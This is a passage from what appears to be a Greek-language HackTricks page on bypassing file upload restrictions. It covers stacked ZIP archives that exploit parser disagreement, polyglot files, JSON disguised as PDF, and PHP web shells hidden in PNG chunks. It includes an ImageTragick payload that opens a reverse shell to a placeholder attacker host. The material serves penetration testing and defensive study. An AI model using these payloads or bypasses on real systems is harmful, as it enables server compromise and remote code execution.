  • Λειτουργεί όταν το enum/validation path και το extraction/write path διαφωνούν στον χειρισμό συμβολοσειρών.

Στοίβα/συνενωμένα ZIPs (διαφωνία parser)

Η συνένωση δύο έγκυρων ZIP αρχείων παράγει ένα blob όπου διαφορετικοί parsers εστιάζουν σε διαφορετικές εγγραφές EOCD. Πολλά εργαλεία εντοπίζουν το τελευταίο End Of Central Directory (EOCD), ενώ κάποιες libraries (π.χ. ZipArchive σε συγκεκριμένα workflows) μπορεί να parse-άρουν το πρώτο archive που βρουν. Αν η validation απαριθμεί το πρώτο archive και η extraction χρησιμοποιεί άλλο εργαλείο που σέβεται το τελευταίο EOCD, ένα benign archive μπορεί να περάσει τους ελέγχους ενώ ένα malicious εξάγεται.

PoC:

bash
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Σχήμα κατάχρησης

  • Δημιουργήστε ένα benign archive (επιτρεπτού τύπου, π.χ. ένα PDF) και ένα δεύτερο archive που περιέχει μια blocked extension (π.χ. shell.php).
  • Συγχωνεύστε τα: cat benign.zip evil.zip > combined.zip.
  • Αν ο server επικυρώνει με έναν parser (βλέπει benign.zip) αλλά αποσυμπιέζει με έναν άλλον (επεξεργάζεται evil.zip), το αποκλεισμένο αρχείο καταλήγει στο μονοπάτι εξαγωγής.

ImageTragic

Ανεβάστε αυτό το περιεχόμενο με επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια (ImageMagick , 7.0.1-1) (από το exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Ενσωμάτωση PHP Shell σε PNG

Η ενσωμάτωση ενός PHP shell στο chunk IDAT ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις imagecopyresized και imagecopyresampled από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για την αλλαγή μεγέθους και την επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες περιπτώσεις χρήσης.

Μια λεπτομερής ανάλυση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: "Encoding Web Shells in PNG IDAT chunks". Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.

Περισσότερες πληροφορίες: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Τα polyglot αρχεία λειτουργούν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δραστικά ως χαμαιλέοντες που μπορούν να υπάρχουν νόμιμα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το GIFAR, ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως RAR αρχείο. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.

Ο βασικός σκοπός των polyglot αρχείων είναι η ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που φιλτράρουν αρχεία με βάση τον τύπο. Συνήθης πρακτική σε πολλές εφαρμογές είναι να επιτρέπονται μόνο ορισμένοι τύποι αρχείων για upload — όπως JPEG, GIF ή DOC — για να μειωθεί ο κίνδυνος από δυνητικά επικίνδυνες μορφές (π.χ., JS, PHP ή Phar αρχεία). Ωστόσο, ένα polyglot, πληρώντας τα δομικά κριτήρια πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.

Παρά την προσαρμοστικότητά τους, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR αρχείο (PHp ARchive) και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός polyglot μπορεί να μην αρκεί για να εξασφαλίσει το upload.

Περισσότερες πληροφορίες: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Ανέβασμα έγκυρων JSON σαν να ήταν PDF

Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου ανεβάζοντας ένα έγκυρο αρχείο JSON ακόμα κι αν δεν επιτρέπεται, πλαστογραφώντας το ως PDF (τεχνικές από this blog post):

  • mmmagic library: Όσο τα magic bytes %PDF βρίσκονται στα πρώτα 1024 bytes, θεωρείται έγκυρο (βλέπε παράδειγμα στο post).
  • pdflib library: Πρόσθεσε ένα ψεύτικο PDF format μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να πιστέψει ότι είναι pdf (βλέπε παράδειγμα στο post).
  • file binary: Μπορεί να διαβάσει έως 1048576 bytes από ένα αρχείο. Απλά δημιούργησε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και στη συνέχεια μέσα στο JSON βάλε το αρχικό μέρος ενός πραγματικού PDF και θα νομίσει ότι είναι PDF.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks